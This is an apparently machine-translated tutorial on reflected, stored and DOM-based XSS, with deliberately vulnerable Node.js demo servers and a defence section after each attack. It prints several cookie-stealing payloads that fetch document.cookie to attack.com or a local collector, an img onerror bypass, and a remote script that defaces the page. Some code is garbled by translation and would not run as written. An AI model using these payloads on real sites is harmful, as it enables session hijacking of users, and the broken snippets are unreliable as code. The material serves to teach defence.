I’ve written two previous articles about cookies and JSON Web tokens. Many websites set a Cookie or return a Token after a user has logged in. This is a Token, and just holding this Token proves that you are a user. If the defense is not in place, cookies and tokens are easy to be stolen by XSS attacks. At this time, attackers can pretend to be real users and do whatever they want in the website.

Cross Site Scripting (XSS) is an attack that occurs when Web applications fail to filter user input properly. An attacker can inject malicious script code into a Web page and then execute it when other users view it. All kinds of attacks on the victim. XSS generally falls into three types:

  • reflective
  • Storage type
  • The DOM model

Reflective XSS attack and defense combat

The malicious script of a reflective XSS attack is not stored in a back-end database, but rather induces the user to click on a malicious link that is carefully pieced together to achieve the purpose of the attack.

Attacks:

A common scenario is for a user to search for a movie website, if the requested address is:

https://xxx.com/movies?q= Kung Fu PandaCopy the code

In the background, the returned results page displays the movie name the user searched for:

The search result for "Kung Fu Panda" was XXXXXXXXXXXXXXXXXXXXXXXCopy the code

The attacker spliced a highly malicious link:

https://xxx.com/movies?q= Kung Fu panda <script>fetch(' https://attack.com?cookie=${document.cookie}`)</script>
Copy the code

If a user clicks on the malicious link, the cookie is immediately stolen. The complete source code for node.js back-end services is given below:

const http = require('http')
const URL = require('url')

/ / HTML templates
function renderHTML(tpl) {
  return ` <! DOCTYPE html><html><head><meta charset="UTF-8"/></head><body>${tpl}</body></html>`
}

// Route distributor
const routes = {
  'GET /movies': (req, res) = > { // The movie search interface of the attacked site
    const tpl = req.query.q
      ? ` < h3 >"${req.query.q}</h3>The ${Array(30).fill('x')}`
      : 'Please enter the movie to search for'
    res.setHeader('Set-Cookie'['name=keliq'.'age=10'])
    res.end(renderHTML(tpl))
  },
  'GET /cookies': (req, res) = > { // The attacker collects cookies in the background
    console.log(req.query)
    res.end()
  },
}

function onRequest(req, res) {
  const { url, method } = req
  const { query, pathname } = URL.parse(url, true) / / url
  Object.assign(req, { query, path: pathname }) // and extend the query and pathname parameters to the req object
  const route = routes[[method, pathname].join(' ')] // Get routing handler (policy mode)
  if (route) return route(req, res)
  res.statusCode = 404
  res.end('Not Found')
}

http.createServer(onRequest).listen(3000) // The site that was attacked
http.createServer(onRequest).listen(4000) // The server where the attacker collects cookies
Copy the code

Run the above code and open the following malicious link:

http://localhost:3000/movies? Q = kung fu panda < script > fetch (` http://localhost:4000/cookies? cookie=${document.cookie}`)
Copy the code

As you can see, the user’s Cookie is sent to the attacker’s server.

Defense scheme

The reason for the reflected XSS attack is that the server does not filter, so the solution is very simple, is to filter the user input on the server, there are many ways to filter, such as using encodeURIComponent to filter the query parameters directly:

const tpl = req.query.q
  ? ` < h3 >"The ${encodeURIComponent(req.query.q)}</h3>The ${Array(30).fill('x')}`
  : 'Please enter the movie to search for'
Copy the code

Another option is to write a function that replaces the special characters such as < and & :

function encodeHTML(str) {
  return str
  .replace(/&/g.'& ')
  .replace(/"/g.'" ')
  .replace(/'/g.'' ')
  .replace(/</g.'< ')
  .replace(/>/g.'> ')}Copy the code

In addition, if the backend login authentication is based on cookies, be sure to set the attribute to HttpOnly, so that attackers can not use JS scripts to obtain cookies.

Storage type XSS attack and defense combat

Different from reflected XSS attacks, stored XSS attacks occur when the user’s input contains malicious scripts and the server escapes them and stores them in the database. When the user accesses the page, the malicious scripts are executed.

Attacks:

If there is an article on a website:

https://xxx.com/articles/1
Copy the code

The attacker posted a comment below the article that included the script:

Great article! <script>fetch(`http://localhost:4000/cookies? cookie=${document.cookie}`)</script>
Copy the code

If the server saves the comment string directly to the database, the next time a user accesses the post, the comment containing the malicious script will be returned, sending the current user’s cookie to the attacker’s server! Here is the complete node.js server source:

const http = require('http')
const URL = require('url')
const qs = require('querystring')

// Simulate the article database
const article = {
  id: 1.title: 'Sports News'.content:
    The rockets' 114-80 win over the Thunder in Game 5 of their first-round series was more about the clash between Dennis Schroder and PJ Tucker that led to both being eicked. the rockets held a 3-2 lead after the game. '.comments: ['comments 1'.'comments 2'],}/ / HTML templates
function renderHTML(tpl) {
  return ` <! DOCTYPE html><html><head><meta charset="UTF-8"/></head><body>${tpl}</body></html>`
}

// Route distributor
const routes = {
  'GET /articles/1': (req, res) = > {
    const tpl = ` <div style="width: 500px; margin: auto;" > <h1>${article.title}</h1>
      <p>${article.content}</p> <h3> Comment section </h3> <ul>${article.comments
        .map((item) => '<li>' + item + '</li>')
        .join(' ')}</ul> <hr/> <p> Please post your comments: </p> <form action="/comments" method="post"> <textarea lines="3" maxlength="1000" name="comment" ></textarea> <button Type ="submit"> </button> </form> </div> '
    res.setHeader('Set-Cookie'['name=keliq'.'age=10'])
    res.end(renderHTML(tpl))
  },
  'POST /comments': async (req, res) => {
    let body = await getBody(req)
    let { comment = ' ' } = qs.parse(body)
    comment = comment.trim()
    if (comment) { // To prevent memory overflow, only the latest 10 comments are kept
      article.comments = [comment, ...article.comments.slice(0.9)]
    }
    res.writeHead(301, { Location: '/articles/1' })
    res.end()
  },
  'GET /cookies': (req, res) = > {
    console.log(req.query)
    res.end()
  },
  'GET /malicious.js': (req, res) = > {
    const script = ` document. The body. The innerHTML = 'beauty Dutch coffins online licensing < img width = 200 SRC = "http://img.zlib.cn/beauty/1.jpg" / >' `
    res.end(script)
  },
}

/ / get the req. Body
function getBody(req) {
  return new Promise((resolve, reject) = > {
    const arr = []
    req
      .on('data'.(data) = > arr.push(data))
      .on('end'.() = >resolve(decodeURIComponent(Buffer.concat(arr).toString())))
      .on('error', reject)
  })
}

function onRequest(req, res) {
  const { url, method } = req
  const { query, pathname } = URL.parse(url, true) / / url
  Object.assign(req, { query, path: pathname }) // and extend the query and pathname parameters to the req object
  const route = routes[[method, pathname].join(' ')] // Get routing handler (policy mode)
  if (route) return route(req, res)
  res.statusCode = 404
  res.end('Not Found')
}

http.createServer(onRequest).listen(3000) // The site that was attacked
http.createServer(onRequest).listen(4000) // The server where the attacker collects cookies
Copy the code

Run the above code, and then open the web site, http://localhost:3000/articles/1, published a commentary:

Great article! <script>fetch(`http://localhost:4000/cookies? cookie=${document.cookie}`)</script>Copy the code

As you can see, the user’s Cookie is immediately sent to the attacker’s server. In fact, this way to get cookies is still a small play, as long as you can use XSS injection script, hackers really can “do anything”, such as the way hackers operate DOM, minutes to turn your website into gambling sites, pornography sites… Type in the comments below to try it out (with benefits included) :

Great article! <script src="http://localhost:4000/malicious.js"></script>
Copy the code

In this malicious script malicious. Js, directly change the body, think, all visitors to your site, see is actually a different picture, too scary.

Defense scheme

As you can see, stored XSS is also caused by malicious code being inserted directly into the HTML of the response without escaping, which is then executed by the browser to cause the attack. Therefore, the solution is also to filter the user input. The filtering scheme is consistent with the reflection type mentioned above, and the filtering time can be selected as required.

  • The client verifies and filters the script before submission. If the script contains malicious scripts, the client does not submit the script or submits the escaped string
  • The server checks and filters the script before receiving it. If the script contains malicious scripts, the server does not store the script in the database or store the escaped string
  • Filter when client rendering, even if unescaped malicious scripts are stored in the database, output the escaped string

DOM XSS attack and defense combat

DOM XSS differs from reflected or stored XSS in that the DOM XSS does not see malicious code in the web page or script returned by the server, but instead triggers the execution of the malicious script when the DOM tree is updated.

Attacks:

Let’s look at a simulation where a front-end developer inserts user input directly into HTML without filtering:

<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">Click on the</button>
<p id="container"></p>
Copy the code

Imagine what would happen if the user typed the following malicious script.

<script>fetch(`https://attack.com?cookie=The ${document.cookie}`)</script>
Copy the code

Thankfully, most modern browsers implement HTML5’s security specifications:

The script tag inserted by innerHTML is not executed.

But is it safe enough? No, please see the following input:

<img src="x" onerror="fetch(`http://localhost:4000/cookies? cookie=${document.cookie}`)">
Copy the code

The malicious script is still triggered in the onError callback!

Defense scheme

It is recommended to use the DOMPurify library to filter the user’s input and then insert it into the DOM using innerHTML.

conclusion

Reflection XSS attack means is to induce users to click, this attack is one-time, the user click on the recruit, do not point is fine, harm is not as large as the storage type, but small white users are easy to steal the number.

Storage XSS attack range is wide, the affected area is large, and it is not easy to find and investigate in time, we must be more careful, for the user input of any content do not fully trust, for dynamic rendering of the text must be escaped.

DOM XSS attacks become more and more common with the popularity and popularity of single-page applications. In single-page applications, JS often operates the DOM, and DOM XSS attacks are easy to trigger because they take advantage of the browser parsing mechanism. Fortunately, most front-end frameworks, such as Vue and Angular, have built-in defenses against DOM XSS attacks.

Git clone [email protected]:keliq/web-attack-defense.git